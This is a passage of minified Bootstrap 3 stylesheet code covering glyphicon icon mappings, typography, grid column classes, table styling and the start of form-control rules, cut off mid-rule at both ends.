tal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.carousel-inner>.item>a>img,.carousel-inner>.item>img,.img-responsive,.thumbnail a>img,.thumbnail>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media(min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:focus,a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:focus,a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:focus,a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:focus,a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:focus,a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:focus,a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:focus,a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:focus,a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:focus,a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:focus,a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media(min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:''}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media(min-width:768px){.container{width:750px}}@media(min-width:992px){.container{width:970px}}@media(min-width:1200px){.container{width:1170px}}.container-fluid{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{margin-right:-15px;margin-left:-15px}.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{position:relative;min-height:1px;padding-right:15px;padding-left:15px}.col-xs-1,.col-xs-10,.col-xs-11,.col-xs-12,.col-xs-2,.col-xs-3,.col-xs-4,.col-xs-5,.col-xs-6,.col-xs-7,.col-xs-8,.col-xs-9{float:left}.col-xs-12{width:100%}.col-xs-11{width:91.66666667%}.col-xs-10{width:83.33333333%}.col-xs-9{width:75%}.col-xs-8{width:66.66666667%}.col-xs-7{width:58.33333333%}.col-xs-6{width:50%}.col-xs-5{width:41.66666667%}.col-xs-4{width:33.33333333%}.col-xs-3{width:25%}.col-xs-2{width:16.66666667%}.col-xs-1{width:8.33333333%}.col-xs-pull-12{right:100%}.col-xs-pull-11{right:91.66666667%}.col-xs-pull-10{right:83.33333333%}.col-xs-pull-9{right:75%}.col-xs-pull-8{right:66.66666667%}.col-xs-pull-7{right:58.33333333%}.col-xs-pull-6{right:50%}.col-xs-pull-5{right:41.66666667%}.col-xs-pull-4{right:33.33333333%}.col-xs-pull-3{right:25%}.col-xs-pull-2{right:16.66666667%}.col-xs-pull-1{right:8.33333333%}.col-xs-pull-0{right:auto}.col-xs-push-12{left:100%}.col-xs-push-11{left:91.66666667%}.col-xs-push-10{left:83.33333333%}.col-xs-push-9{left:75%}.col-xs-push-8{left:66.66666667%}.col-xs-push-7{left:58.33333333%}.col-xs-push-6{left:50%}.col-xs-push-5{left:41.66666667%}.col-xs-push-4{left:33.33333333%}.col-xs-push-3{left:25%}.col-xs-push-2{left:16.66666667%}.col-xs-push-1{left:8.33333333%}.col-xs-push-0{left:auto}.col-xs-offset-12{margin-left:100%}.col-xs-offset-11{margin-left:91.66666667%}.col-xs-offset-10{margin-left:83.33333333%}.col-xs-offset-9{margin-left:75%}.col-xs-offset-8{margin-left:66.66666667%}.col-xs-offset-7{margin-left:58.33333333%}.col-xs-offset-6{margin-left:50%}.col-xs-offset-5{margin-left:41.66666667%}.col-xs-offset-4{margin-left:33.33333333%}.col-xs-offset-3{margin-left:25%}.col-xs-offset-2{margin-left:16.66666667%}.col-xs-offset-1{margin-left:8.33333333%}.col-xs-offset-0{margin-left:0}@media(min-width:768px){.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media(min-width:992px){.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media(min-width:1200px){.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#777;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:20px}.table>tbody>tr>td,.table>tbody>tr>th,.table>tfoot>tr>td,.table>tfoot>tr>th,.table>thead>tr>td,.table>thead>tr>th{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #ddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #ddd}.table>caption+thead>tr:first-child>td,.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>td,.table>thead:first-child>tr:first-child>th{border-top:0}.table>tbody+tbody{border-top:2px solid #ddd}.table .table{background-color:#fff}.table-condensed>tbody>tr>td,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>td,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>thead>tr>th{padding:5px}.table-bordered{border:1px solid #ddd}.table-bordered>tbody>tr>td,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>td,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border:1px solid #ddd}.table-bordered>thead>tr>td,.table-bordered>thead>tr>th{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*=col-]{position:static;display:table-column;float:none}table td[class*=col-],table th[class*=col-]{position:static;display:table-cell;float:none}.table>tbody>tr.active>td,.table>tbody>tr.active>th,.table>tbody>tr>td.active,.table>tbody>tr>th.active,.table>tfoot>tr.active>td,.table>tfoot>tr.active>th,.table>tfoot>tr>td.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>thead>tr.active>th,.table>thead>tr>td.active,.table>thead>tr>th.active{background-color:#f5f5f5}.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr.active:hover>th,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover{background-color:#e8e8e8}.table>tbody>tr.success>td,.table>tbody>tr.success>th,.table>tbody>tr>td.success,.table>tbody>tr>th.success,.table>tfoot>tr.success>td,.table>tfoot>tr.success>th,.table>tfoot>tr>td.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>thead>tr.success>th,.table>thead>tr>td.success,.table>thead>tr>th.success{background-color:#dff0d8}.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr.success:hover>th,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover{background-color:#d0e9c6}.table>tbody>tr.info>td,.table>tbody>tr.info>th,.table>tbody>tr>td.info,.table>tbody>tr>th.info,.table>tfoot>tr.info>td,.table>tfoot>tr.info>th,.table>tfoot>tr>td.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>thead>tr.info>th,.table>thead>tr>td.info,.table>thead>tr>th.info{background-color:#d9edf7}.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr.info:hover>th,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover{background-color:#c4e3f3}.table>tbody>tr.warning>td,.table>tbody>tr.warning>th,.table>tbody>tr>td.warning,.table>tbody>tr>th.warning,.table>tfoot>tr.warning>td,.table>tfoot>tr.warning>th,.table>tfoot>tr>td.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>thead>tr.warning>th,.table>thead>tr>td.warning,.table>thead>tr>th.warning{background-color:#fcf8e3}.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr.warning:hover>th,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover{background-color:#faf2cc}.table>tbody>tr.danger>td,.table>tbody>tr.danger>th,.table>tbody>tr>td.danger,.table>tbody>tr>th.danger,.table>tfoot>tr.danger>td,.table>tfoot>tr.danger>th,.table>tfoot>tr>td.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>thead>tr.danger>th,.table>thead>tr>td.danger,.table>thead>tr>th.danger{background-color:#f2dede}.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr.danger:hover>th,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover{background-color:#ebcccc}.table-responsive{min-height:.01%;overflow-x:auto}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #ddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>td,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>thead>tr>th{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>thead>tr>th:first-child{border-left:0}.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>thead>tr>th:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>th{border-bottom:0}}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:700}input[type=search]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type=checkbox],input[type=radio]{margin:4px 0 0;margin-top:1px\9;line-height:normal}input[type=file]{display:block}input[type=range]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type=file]:focus,input[type=checkbox]:focus,input[type=radio]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:7px;font-size:14px;line-height:1.42857143;color:#555}.form-control{display:block;width:100%;height:34px;padding:6px 12px;font-size:14px;line-height:1.42857143;color:#555;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6)}.form-control::-moz-placeholder{color:#999;opacity:1}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.form-control::-ms-expand{background-color:transparent;border:0}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#eee;opacity:1}.form-control[disabled],fieldset[disabled] .form-control{cursor:not-allowed}textarea.form-control{height:auto}input[type=search]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type=date].form-control,input[type=time].form-control,input[type=datetime-local].form-control,input[type=month].form-control{line-height:34px}.input-group-sm input[type=date],.input-group-sm input[type=time],.input-group-sm input[type=datetime-local],.input-group-sm 